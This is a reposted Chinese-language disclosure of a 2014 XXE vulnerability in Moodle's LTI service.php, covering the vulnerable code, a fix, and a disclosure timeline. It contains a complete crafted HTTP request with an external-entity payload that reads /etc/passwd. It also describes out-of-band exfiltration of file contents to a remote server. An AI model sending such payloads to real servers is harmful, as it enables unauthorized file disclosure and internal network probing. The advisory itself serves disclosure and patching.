0×01,背景:
Moodle(Open-source Learning Platform)是一个开源及自由的电子学习软件平台,是当前全球使用量最大的开源在线教育学习平台。它有一个很有分量的用户群体:根据其2010年1 月的统计,现时有45,721个已注册及查核的网站,为3200万位用户提供约300万个课程。Moodle为一个线上学习系统,为全世界有150余国 70种语言所使用。
0×02,漏洞说明:
Moodle提供了功能强大的外部程序扩展,能够以Moodle网站的相应身份(管理员,教师,学生)登录一些外部第三方的网站或应 用,Moodle提供了OAuth授权功能来实现这一特性。Moodle(TC:Tool Consumer)与第三方外部工具(TP:Tool Provider)在OAuth授权后可以相互以XML格式请求和接受数据,Moodle后端在对XML解析时未限制外部实体的解析,可造成XXE外部实 体攻击,导致本地任意文件读取。
影响版本:1.9.x-2.6.2+(Current the lastest version)
测试环境:CentOS 6.5 x64,Ubuntu 12.04 x86 (PHP 5.3.17)
Found By:pnig0s
0×03,漏洞分析:
问题代码位于\moodle\mod\lti\service.php中:
$rawbody = file_get_contents("php://input"); foreach (lti\OAuthUtil::get_headers() as $name => $value) { if ($name === 'Authorization') { // TODO: Switch to core oauthlib once implemented - MDL-30149 $oauthparams = lti\OAuthUtil::split_header($value); $consumerkey = $oauthparams['oauth_consumer_key']; break; } } if (empty($consumerkey)) { throw new Exception('Consumer key is missing.'); } $sharedsecret = lti_verify_message($consumerkey, lti_get_shared_secrets_by_key($consumerkey), $rawbody); if ($sharedsecret === false) { throw new Exception('Message signature not valid'); } $xml = new SimpleXMLElement($rawbody); $body = $xml->imsx_POXBody; foreach ($body->children() as $child) { $messagetype = $child->getName(); }
后端首先使用php://input输入流接收POST提交过来的数据,然后是OAuth授权验证的部分,通过授权后直接使用SimpleXML对接收的POST数据进行解析,XXE问题产生。
这里我自己实现一个恶意的External Tool并在Moodle后台配置好,使用External Toole提交的特定请求是
POST /moodle/mod/lti/service.php HTTP/1.1 Host: 192.168.195.142 Authorization: OAuth realm="",oauth_version="1.0",oauth_nonce="1d61aad07f94ac467f26ea6e97f8bf10",oauth_timestamp="1398653215",oauth_consumer_key="12345",oauth_body_hash="LXfM66F4PqPBpe%2B%2FObswR2BGst8%3D",oauth_signature_method="HMAC-SHA1",oauth_signature="umeaVvaO10mWXbgcQe%2BrDKdnGZU%3D" Content-Length: 1013 <?xml version = "1.0" encoding = "UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <imsx_POXEnvelopeRequest xmlns = "http://www.imsglobal.org/services/ltiv1p1/xsd/imsoms_v1p0"> <imsx_POXHeader> <imsx_POXRequestHeaderInfo> <imsx_version>V1.0</imsx_version> <imsx_messageIdentifier>&xxe;</imsx_messageIdentifier> </imsx_POXRequestHeaderInfo> </imsx_POXHeader> <imsx_POXBody> <replaceResultRequest> <resultRecord> <sourcedGUID> <sourcedId>{"data":{"instanceid":"5","userid":"2","launchid":608337817},"hash":"82c82b413910b098273ceb7f3312885e46f02dafa8f4f590a63a107d10cabd86"}</sourcedId> </sourcedGUID> <result> <resultScore> <language>en-us</language> <textString>0.95</textString> </resultScore> </result> </resultRecord> </replaceResultRequest> </imsx_POXBody> </imsx_POXEnvelopeRequest>
Moodle LTI扩展模块返回了当前服务器的passwd文件内容。
对于一些高版本的Linux发行版本不会直接返回内容,可以使用参数型实体将内容发送到指定的远端。
以Moodle官方提供的Demo作为例子,配置好我们实现的External Tool:
通过Moodle的LTI模块打开我们的外部工具并通过外部工具提交一个请求到Moodle。
Server返回错误信息,不过没关系,查看远端的访问日志,demo服务器的hosts文件内容的Bases64编码格式已经静静的躺在那儿了。
对日志里的Base64解码
0×04,漏洞影响:
-
本地任意文件读取
-
端口扫描
-
内网探测
0×05,修复建议:
libxml_disable_entity_loader(true)禁止外部实体的解析。
0×06,披露过程:
04/28/2014 —— 发现问题
05/06/2014 —— 提交官方(MDL-45417)
07/10/2014 —— Fix released in 2.4.11, 2.5.7, 2.6.4, 2.7.1
07/11/2014 —— Disclosure
转载请注明:jinglingshu的博客 » Moodle 2.6.x LTI module Local File Inclusion via XXE Attack